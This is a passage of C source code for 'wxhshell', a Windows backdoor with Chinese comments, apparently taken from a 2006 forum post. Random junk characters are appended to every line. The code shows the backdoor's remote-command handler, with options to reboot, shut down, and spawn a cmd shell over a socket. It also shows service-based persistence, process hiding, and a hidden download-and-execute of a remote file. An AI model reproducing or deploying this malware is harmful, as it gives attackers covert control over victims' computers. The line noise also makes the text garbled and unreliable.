  else { se`^g ,]P  
ql(~3/kA_  
    switch(cmd[0]) { )bR`uV9<  
  b_>x;5k  
  // 帮助 u]jvXPE6  
  case '?': { z-G*:DfgH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1CA% nqlng  
    break; Ys+NIV#Q  
  } gN5;Uk  
  // 安装 3R6=C~  
  case 'i': { I|R;)[;X  
    if(Install()) VGeyZ\vU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0W!S.]^1  
    else $i"IOp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  [kL`'yi  
    break; ;I!Vba  
    } Cm~z0c|T  
  // 卸载 7O\Qxc\  
  case 'r': { CjZIBMGc  
    if(Uninstall()) F@rx/3 [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $J!WuOz4^i  
    else lOu&4Kq{g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #?klVK&e/  
    break; &"mWi-Mpl  
    } ~R  C\  
  // 显示 wxhshell 所在路径 )bl^:C  
  case 'p': { f=T&$tZ<  
    char svExeFile[MAX_PATH]; NEff`mwm5)  
    strcpy(svExeFile,"\n\r"); X^7n/|%*.  
      strcat(svExeFile,ExeFile); 3eR c>^wh  
        send(wsh,svExeFile,strlen(svExeFile),0); 0^mCj<g  
    break; B(,j*,f  
    } RLR\*dL1  
  // 重启 !T RU  
  case 'b': { y[d>7fcf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KkyZd9  
    if(Boot(REBOOT)) 'QQa :3<x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @:K={AIa  
    else { l?:S)[:  
    closesocket(wsh); s>ohXISB[  
    ExitThread(0); (\M+E tU<9  
    } HL~DIC%  
    break; eoxEnCU  
    } 0i~?^sT'  
  // 关机 mG.H=iw  
  case 'd': { 2*TPW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nZ8jBCh  
    if(Boot(SHUTDOWN)) ]7J*(,sp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /A1qTG=Br  
    else { Mc /= Fs  
    closesocket(wsh); 2|$G<f  
    ExitThread(0); !<= ^&\A  
    } @ GXi{9  
    break; V*H7m'za  
    } UYvdzCUh  
  // 获取shell O1Nya\^g<I  
  case 's': { SshjUNx  
    CmdShell(wsh); Q(/F7 "m  
    closesocket(wsh); @|d+T"f  
    ExitThread(0); &{ZTtK&JF  
    break; sjG@4Or  
  } L^e%oQ>s  
  // 退出 k]~|!`  
  case 'x': { 37 d-!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); + ;_0:+//  
    CloseIt(wsh); }E#1Z\)  
    break; g^[BnP)I  
    } b{a\j%  
  // 离开 > 8%O;3-m#  
  case 'q': { |G(I,EPag  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Uu~~-5  
    closesocket(wsh); As>P(  
    WSACleanup(); Aga{EKd  
    exit(1); }T&~DVM  
    break; MTAq} 8  
        } DTz)qHd#X  
  } i^}ib RQbN  
  } _ pO1XM  
Hgbrlh  
  // 提示信息 9@wmngvM*Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]:svR@E  
} O7z5,-  
  } {9XQ~t"m^  
H-t"Z}  
  return; s7s@!~  
} lX/:e=  
Y3bZ&G)  
// shell模块句柄 Y{OnW98  
int CmdShell(SOCKET sock) Tzr'3m_  
{ oD=+  
STARTUPINFO si; S#N4!"  
ZeroMemory(&si,sizeof(si)); Ah_0o_Di  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C~R,,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cHX~-:KOr  
PROCESS_INFORMATION ProcessInfo; 0`Y"xN`'i  
char cmdline[]="cmd"; @o>3 Bv.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #PQhgli  
  return 0; ky I~  
} >Do P2]  
yeIc Q%  
// 自身启动模式 li9>zjz  
int StartFromService(void)  S)x5.vo^  
{ MR/gLm(8(  
typedef struct d'[]  
{ ')>D*e  
  DWORD ExitStatus; _zDf8hy  
  DWORD PebBaseAddress; Xk}\-&C7  
  DWORD AffinityMask; Y@limkN:  
  DWORD BasePriority; lK3{~ \J-  
  ULONG UniqueProcessId; @6%o0p9zz  
  ULONG InheritedFromUniqueProcessId; M?QX'fia  
}   PROCESS_BASIC_INFORMATION; ZiC~8p_f  
VF:95F;@  
PROCNTQSIP NtQueryInformationProcess; 0X4I-xx#  
w3jcit|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XPT@ LM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m.ejGm?  
=DwY-Ex  
  HANDLE             hProcess; fr<V])  
  PROCESS_BASIC_INFORMATION pbi; RL b o  
1"~$(@oxG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0,j!*  
  if(NULL == hInst ) return 0; }NKnV3G/Z  
S^A+Km3VB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0ni/!}YP_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p{[(4}ql  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tgC)vZ&a  
9{8xMM-  
  if (!NtQueryInformationProcess) return 0; h@fF`  
AtNF&=Op  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <ToRPx&E  
  if(!hProcess) return 0; <\oD4EE_  
3`Gb ;D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gbziEjRe  
> *soc!#Y  
  CloseHandle(hProcess); [Nu py,v  
nJY3 1(p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l`."rei%)  
if(hProcess==NULL) return 0; bp>M&1^KY  
d0 ;<Cw~Tl  
HMODULE hMod; Zu|qN*N4  
char procName[255]; 6rMNp"!  
unsigned long cbNeeded; o8fY!C)  
 }A&I@2d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %PC8}++  
@k)[p+)E  
  CloseHandle(hProcess); YR u#JYti  
,$Xhwr  
if(strstr(procName,"services")) return 1; // 以服务启动 Lm*PHG  
\e~5Dx1  
  return 0; // 注册表启动 WkDXWv\{,{  
} W^)'rH  
<aQ5chf7  
// 主模块 O3tw@ &k  
int StartWxhshell(LPSTR lpCmdLine) id [caP=`  
{ '3fN2[(  
  SOCKET wsl; f7:}t+d  
BOOL val=TRUE; ;lf$)3%[  
  int port=0; lPw`KW  
  struct sockaddr_in door; Z6 E_Y?  
kY{;(b3Q  
  if(wscfg.ws_autoins) Install(); KO[,C[;|j  
\ `R8s_S  
port=atoi(lpCmdLine); Fb6d1I^wR  
rDv`E^\  
if(port<=0) port=wscfg.ws_port; =b#:j:r  
8/R9YiY5*  
  WSADATA data; {'yr)(:2M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H7}f[4S%  
^9 ^DA!'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {\gpXVrn_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :M8y 2f h  
  door.sin_family = AF_INET; {43 J'WsJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VcLzv{  
  door.sin_port = htons(port); RO[6PlrRN  
A=r8_.@2@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;cGY  
closesocket(wsl); >1$Vh=\OI  
return 1; yiMqe^zy  
} PQP|V>g  
KpT=twcK  
  if(listen(wsl,2) == INVALID_SOCKET) {  rp=Y }  
closesocket(wsl); pj Md  
return 1; f<M!L> +M6  
} r9n:[A&HE  
  Wxhshell(wsl); Bo8NY!  
  WSACleanup(); ef2)k4)"  
eIQ@){lJ-]  
return 0; eU\XAN#@  
tgY/8& $M  
} {RI)I  
.mplML0oW  
// 以NT服务方式启动 m]Mm (7v(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "-S@R=bi  
{ >65\  
DWORD   status = 0; ^O,r8K{1n  
  DWORD   specificError = 0xfffffff; 9# #(B  
*d9RD~Ee  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U#|6n ,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B7PdavO#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z=oGyA  
  serviceStatus.dwWin32ExitCode     = 0; 0+/ew8~$  
  serviceStatus.dwServiceSpecificExitCode = 0; s7,D}Zz  
  serviceStatus.dwCheckPoint       = 0; 1rON8=E  
  serviceStatus.dwWaitHint       = 0; rTqGtmulG  
z fu)X!t^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 73JrK_h  
  if (hServiceStatusHandle==0) return; b4 Pa5 w  
#3?}MC  
status = GetLastError(); biENRJQ.  
  if (status!=NO_ERROR) =yWdtBng  
{ +G)a+r'0Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^Hz1z_[X@  
    serviceStatus.dwCheckPoint       = 0; lN x7$z`  
    serviceStatus.dwWaitHint       = 0; Y|buQQ|  
    serviceStatus.dwWin32ExitCode     = status; A=wG};%_  
    serviceStatus.dwServiceSpecificExitCode = specificError; )r?- _qj=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k; >Vh'=X  
    return; D 4sp+   
  } <6+T&Ov6  
7"1]5\p^g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $g),|[ x+(  
  serviceStatus.dwCheckPoint       = 0; \2CEEs'  
  serviceStatus.dwWaitHint       = 0; Yr[& *>S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i&{%} ==7  
} ;9LOeH?  
=MT'e,T  
// 处理NT服务事件,比如:启动、停止 D 9UM8Hxi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V>D}z8w7  
{ ,&L}^Up  
switch(fdwControl) J$lfI^^  
{ %M:$ML6b<  
case SERVICE_CONTROL_STOP: fk!9` p'  
  serviceStatus.dwWin32ExitCode = 0; zbgGK7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]E6r )C  
  serviceStatus.dwCheckPoint   = 0; x"r,l/gzy  
  serviceStatus.dwWaitHint     = 0; k8r1)B4ab  
  { wNU;gz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j4u ["O3  
  } M3r;Pdj2r  
  return; VOIni<9y  
case SERVICE_CONTROL_PAUSE: eD7qc1*G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dsH*9t:z  
  break; |a %Wd  
case SERVICE_CONTROL_CONTINUE: Wb[k2V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ("{"8   
  break; }Rw6+;  
case SERVICE_CONTROL_INTERROGATE: X4{<{D`0t8  
  break; S&QXf<v  
}; BWNI|pq)v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SM8_C!h:  
} JKy~'>Q  
pw`'q(ad  
// 标准应用程序主函数 2[qoqd(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `F3wO!  
{ k SgE_W)  
lQEsa45  
// 获取操作系统版本 EWQLLH"h  
OsIsNt=GetOsVer(); `?b'.Z_J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wJ7^)tTRF  
~@(C+3,  
  // 从命令行安装 @C^wV  
  if(strpbrk(lpCmdLine,"iI")) Install(); (L yKo  
$x,EPRNs  
  // 下载执行文件 =3`|D0E  
if(wscfg.ws_downexe) { ,HI% ym  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Io[NN aF|  
  WinExec(wscfg.ws_filenam,SW_HIDE); _3< P(w{  
} Cy *.pzCi  
[P6m8%Y|s  
if(!OsIsNt) { sG)aw`_j  
// 如果时win9x,隐藏进程并且设置为注册表启动 jOzi89  
HideProc(); ^bP`Iv  
StartWxhshell(lpCmdLine); y#th&YC_b  
} 1z4_QZZ.NG  
else -y{(h% 6  
  if(StartFromService()) pb)kN%  
  // 以服务方式启动 gS8+S\2  
  StartServiceCtrlDispatcher(DispatchTable); *,IK4F6>:  
else :HwdXhA6  
  // 普通方式启动 EB*C;ms  
  StartWxhshell(lpCmdLine); &AWrM{e  
*")*w> R  
return 0; A=IpP}7J  
}
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只看该作者 1 发表于: 2006-10-10
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